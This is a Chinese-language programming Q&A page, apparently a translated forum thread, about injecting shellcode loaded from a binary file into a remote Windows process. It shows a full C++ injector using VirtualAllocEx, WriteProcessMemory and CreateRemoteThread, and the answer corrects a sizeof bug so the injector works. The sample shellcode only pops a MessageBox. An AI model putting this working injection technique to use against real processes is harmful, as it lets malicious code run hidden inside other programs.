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c++ - 如何注入从文件加载的shellcode？

问题描述

我有一个大问题困扰着我，今天让树日尝试解决。我如何从二进制文件加载 shellcode 并在目标进程中正确注入？当仅在自己的程序示例源代码上使用 shellcode 进行测试时，效果很好。

为什么当 shellcode 来自文件时这不起作用？有人有一天已经遇到了这个问题吗？

这是经过测试的代码（改编自此以显示 MessageBox）>

#include <windows.h>
#include <iostream>
#include <fstream>
#include <future>

using namespace std;

int main(int argc, char** argv) {

    int process_id = atoi(argv[1]);

    //MessageBox
    //char xcode[] = "\x31\xc9\x64\x8b\x41\x30\x8b\x40\xc\x8b\x70\x14\xad\x96\xad\x8b\x58\x10\x8b\x53\x3c\x1\xda\x8b\x52\x78\x1\xda\x8b\x72\x20\x1\xde\x31\xc9\x41\xad\x1\xd8\x81\x38\x47\x65\x74\x50\x75\xf4\x81\x78\x4\x72\x6f\x63\x41\x75\xeb\x81\x78\x8\x64\x64\x72\x65\x75\xe2\x8b\x72\x24\x1\xde\x66\x8b\xc\x4e\x49\x8b\x72\x1c\x1\xde\x8b\x14\x8e\x1\xda\x31\xc9\x53\x52\x51\x68\x61\x72\x79\x41\x68\x4c\x69\x62\x72\x68\x4c\x6f\x61\x64\x54\x53\xff\xd2\x83\xc4\xc\x59\x50\x51\x66\xb9\x6c\x6c\x51\x68\x33\x32\x2e\x64\x68\x75\x73\x65\x72\x54\xff\xd0\x83\xc4\x10\x8b\x54\x24\x4\xb9\x6f\x78\x41\x0\x51\x68\x61\x67\x65\x42\x68\x4d\x65\x73\x73\x54\x50\xff\xd2\x83\xc4\x10\x68\x61\x62\x63\x64\x83\x6c\x24\x3\x64\x89\xe6\x31\xc9\x51\x56\x56\x51\xff\xd0";

    vector<char> xcode;

    ifstream infile;
    infile.open("shellcode.bin", std::ios::in | std::ios::binary);
    infile.seekg(0, std::ios::end);
    size_t file_size_in_byte = infile.tellg();
    xcode.resize(file_size_in_byte);
    infile.seekg(0, std::ios::beg);
    infile.read(&xcode[0], file_size_in_byte);
    infile.close();

    HANDLE process_handle;
    DWORD pointer_after_allocated;
    process_handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, process_id);
    if (process_handle == NULL)
    {
        puts("[-]Error while open the process\n");
    }
    else {
        puts("[+] Process Opened sucessfully\n");
    }
    pointer_after_allocated = (DWORD)VirtualAllocEx(process_handle, NULL, sizeof(xcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (pointer_after_allocated == NULL) {
        puts("[-]Error while get the base address to write\n");
    }
    else {
        printf("[+]Got the address to write 0x%x\n", pointer_after_allocated);
    }
    if (WriteProcessMemory(process_handle, (LPVOID)pointer_after_allocated, &xcode[0] /*(LPCVOID) shellcode*/, sizeof(xcode), 0)) {
        puts("[+]Injected\n");
        puts("[+]Running the shellcode as new thread !\n");
        CreateRemoteThread(process_handle, NULL, 100, (LPTHREAD_START_ROUTINE)pointer_after_allocated, NULL, NULL, NULL);
    }
    else {
        puts("Not Injected\n");
    }
    return 0;
}

标签： c++arrayscharcode-injectionshellcode

解决方案

这是因为您正在使用sizeof(xcode). 在第一种情况下，它是一个字符串常量，其大小在编译时已知。在您的情况下，第二个 sizeof (xcode) 返回 4 （或 8 取决于架构）。您应该改用 file_size_in_byte。看这段代码：

pointer_after_allocated = (DWORD)VirtualAllocEx(process_handle, NULL, sizeof(xcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
....
if (WriteProcessMemory(process_handle, (LPVOID)pointer_after_allocated, &xcode[0] /*(LPCVOID) shellcode*/, sizeof(xcode), 0))

sizeof 在 VirtualAllocEx 和 WriteProcessMemory 中都没有意义。考虑替换为文件的大小：

pointer_after_allocated = (DWORD)VirtualAllocEx(process_handle, NULL, file_size_in_byte, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
....
if (WriteProcessMemory(process_handle, (LPVOID)pointer_after_allocated, &xcode[0], file_size_in_byte, 0))

正如 Botje 所评论的：
更新 1：您可以传递xcode.data()并xcode.size()改为
更新 2：C++ 转义符号\x31，四个符号（字节），是二进制字节的 C++ 文本十六进制表示。是人类阅读/编辑的东西。真正的 .bin 文件不应是带有 C++ 转义符号的文本文件，并且可以使用十六进制编辑器进行编辑。

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